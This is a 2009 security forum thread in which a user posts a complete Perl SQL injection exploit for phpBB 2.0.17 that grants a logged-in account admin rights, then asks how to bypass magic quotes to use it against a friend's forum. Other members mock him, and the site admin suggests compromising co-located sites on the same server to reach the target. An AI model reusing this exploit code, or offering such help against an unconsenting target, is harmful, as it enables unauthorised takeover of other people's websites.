|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 62
Members: 0
Total: 62
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
phpBB 2.0.17 - any way to hack with magic quotes on? |
|
Posted: Sat Jun 20, 2009 10:08 pm |
|
|
12dollar |
Beginner |
|
|
Joined: Jun 21, 2009 |
Posts: 4 |
|
|
|
|
|
|
|
Hi guys ...
I used the sql injection exploit:
Code: |
#!/usr/bin/perl
# Exploit for sql injection in phpbb <=2.0.17
# It works with php5, with register_globals on and magic_quotes_gpc off
# Author: Eax (eax@cc-team.org)
use strict;
use LWP::UserAgent;
use Digest::MD5 'md5_hex';
if (@ARGV<6){
print "Usage $0 host path your_id your_password your_email your_username\n";
print "example: $0 target.org /phpbb/ 10 blebleble ble\@ble.pl ble\n\n";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = $ARGV[2];
my $passwd = $ARGV[3];
my $mail = $ARGV[4];
my $username = $ARGV[5];
$passwd = md5_hex($passwd);
my $cookie_string = "phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2
2".$passwd."%22%3Bs%3A6%3A%22userid%22%3Bi%3A".$userid."%3B%7D";
my $browser = LWP::UserAgent->new ();
$browser->default_header(Cookie=>$cookie_string);
my $address = 'http://'.$host.$path.'profile.php';
my $response = $browser->post($address, [ "username" => $username, "email" => $mail,
"mode"=>'editprofile', "agreed"=>'true', "coppa"=>'0', "user_id"=>$userid, "
current_email"=>$mail, "submit"=>"Submit", 'GLOBALS[signature_bbcode_uid]'=>"', u
ser_level='1"]);
print "if everything was ok you should have admin rights now Smile\n";
|
As i thought ... magic_quotes is on ... is there any way to exploit it? As far as i know there's the small chance with %2527 ... but hell .... i don't really know how to do it
And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights
So long 12$
Thanks in advance |
|
|
|
|
|
|
Re: phpBB 2.0.17 - any way to hack with magic quotes on? |
|
Posted: Sat Jun 20, 2009 10:50 pm |
|
|
capt |
Advanced user |
|
|
Joined: Nov 04, 2008 |
Posts: 232 |
|
|
|
|
|
|
|
12dollar wrote: |
And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights
|
But you are a script kiddy You are using milw0rm exploits lol |
|
|
|
|
Posted: Sat Jun 20, 2009 11:01 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Yes, definitely "magic_quotes_gpc=off" is needed. Phpbb developers forgot to sanitize specific parameter in INSERT query, but with "magic_quotes_gpc=on" php will do it anyway |
|
Last edited by waraxe on Sat Jun 20, 2009 11:16 pm; edited 2 times in total |
|
|
|
|
Re: phpBB 2.0.17 - any way to hack with magic quotes on? |
|
Posted: Sat Jun 20, 2009 11:06 pm |
|
|
12dollar |
Beginner |
|
|
Joined: Jun 21, 2009 |
Posts: 4 |
|
|
|
|
|
|
|
capt wrote: | 12dollar wrote: |
And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights
|
But you are a script kiddy You are using milw0rm exploits lol |
well .. it's kinda true ... but i'm not going to use it randomly i just want to scare him once, that should be enough
@ Waraxe: i didn't really get your statement ... hell it's 1 a.m. ... i think i should read your posts after i got some sleep .. or i'm just too stupid
edit: welll i'm finally awake is there any way now to bypass magic quotes? hell .. i'm kinda greedy |
|
|
|
|
Posted: Mon Jun 22, 2009 9:52 am |
|
|
12dollar |
Beginner |
|
|
Joined: Jun 21, 2009 |
Posts: 4 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Mon Jun 22, 2009 10:16 am |
|
|
gibbocool |
Advanced user |
|
|
Joined: Jan 22, 2008 |
Posts: 208 |
|
|
|
|
|
|
|
Probably not possible with that exploit |
|
|
|
|
Posted: Mon Jun 22, 2009 12:05 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
I agree with gibbocool - you need to look for other ways into the target system. As always, my suggestion is searching for possible co-located websites on same server. If you can find exploitable vulnerability in one of them, then further attack escalation - towards main target - may be possible. |
|
|
|
|
Posted: Mon Jun 22, 2009 6:12 pm |
|
|
12dollar |
Beginner |
|
|
Joined: Jun 21, 2009 |
Posts: 4 |
|
|
|
|
|
|
|
thanks a lot |
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|